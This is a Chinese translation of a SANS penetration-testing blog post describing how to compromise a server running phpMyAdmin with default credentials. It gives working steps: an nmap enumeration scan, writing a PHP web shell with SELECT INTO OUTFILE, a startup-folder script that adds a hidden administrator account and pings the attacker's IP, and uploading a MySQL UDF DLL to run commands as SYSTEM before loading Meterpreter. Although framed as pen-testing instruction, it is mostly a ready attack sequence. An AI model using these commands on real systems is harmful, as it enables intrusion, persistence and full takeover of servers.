[译]phpMyAdmin利用

原文地址: http://pen-testing.sans.org/blog/pen-testing/2013/04/10/putting-the-my-in-phpmyadmin

$ nmap -sT -T3 -PS80,443,8000,8443,8800 -p 80,443,8000,8443,8080 -oA http-enum-results --script=http-enum -iL targets.txt

这个命令以正常速度(-T3)进行全连接扫描(-sT)。web服务器通常运行在端口80, 443, 8000, 8443, 和8080,所以这些端口用来主机发现(-PS),和检查(-p)。相比于-PN选项,我更喜欢-PS选项,因为它给我们更高质量的信息。
我们得到扫描结果:
引用

Nmap scan report for 172.16.105.194
Host is up (0.00083s latency).
PORT     STATE  SERVICE
80/tcp   closed http
443/tcp  closed https
8000/tcp closed http-alt
8080/tcp open   http-proxy
| http-enum:
|   /phpmyadmin/: phpMyAdmin
|   /phpMyAdmin/: phpMyAdmin
|_  /PHPMyAdmin/: phpMyAdmin
8443/tcp closed https-alt

服务器运行phpMyAdmin,登录到管理员页面。发现管理员使用默认口令。
事实是因为该服务器是一个监控服务器。phpMyAdmin被捆绑到软件安装包中。没有人知道默认安装了phpMyAdmin。
接下来使用sql上传web shell。记住当你在sql中粘贴shell的时候使用"\"来规避"'",否则sql报错。使用下列语法注入了php shell code。
select '[escaped php shell code]' INTO OUTFILE 'c:\\inetpub\\wwwroot\\shell.php';

我喜欢用Laudanum(下载地址:http://sourceforge.net/projects/laudanum/files/)php shell,因为它可以限制IP和需要授权。
运行shell code后,需要了解我的权限。运行
c:\windows\system32\cmd.exe /c whoami"
返回一个"nt authority\network service"低权限账户。
技术1. 写入user开机文件夹。
C:\Documents and Settings\All Users\Start Menu\Programs\Startup文件夹中创建一个bash文件,当任何user登录的时候,该文件就会执行。命令行窗口会弹出一瞬间,但是user可能不会注意到。即使注意到,也可能会忽视。
命令如下:
net user timmedin reallyl0ngp@ssw0rd! /add /y
net localgroup administrators timmedin /add
ping -n 1 -w 10 [MyIPaddress]

该该命令创建一个user,添加到本地管理员帐户。/y表示跳过弹出窗口。
平命令用来通知我已经出现user登录了。-n 1选项表示发送一个ping数据包。 -w 10告诉命令在放弃前等待10毫秒。
技术2. 使用sql注入UDF(user-defined function)
首先需要找到插件文件夹,使用如下命令:
select @@plugin_dir
C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin

然后上传UDF库
这是一种二进制文件,幸运的是,MYSQL "CHAR()"命令可以用来生成二进制数据。例如"SELECT CHAR(72,69,76,76,79)"会返回"HELLO"。我们可以使用下面python命令来实现转换:
$ python -c "print ','.join([str(x) for x in bytearray(open('lib_mysqludf_sys.dll').read())])"

拷贝粘贴,然后我们可以通过OUTFILE生成我们的文件:
SELECT CHAR(77,90,144,0,3,0,0,0,4,0,0,0,255,255,...) INTO OUTFILE
  'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\lib_mysqludf_sys.dll'
  FIELDS ESCAPED BY ''

接下来,注册dll:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_get  RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_set  RETURNS STRING SONAME 'lib_mysqludf_sys.dll';

运行:
SELECT sys_eval('dir') FROM dual
nt authority\system

接下来我们就可以做任何事了,上传Meterpreter shell(通过python和OUTFILE),然后通过sys_exec/sys_eval来执行shell。我们可以创建一个管理员帐户。我们可以开启终端服务,修改防火墙等。

猜你喜欢

转载自j4s0nh4ck.iteye.com/blog/2158725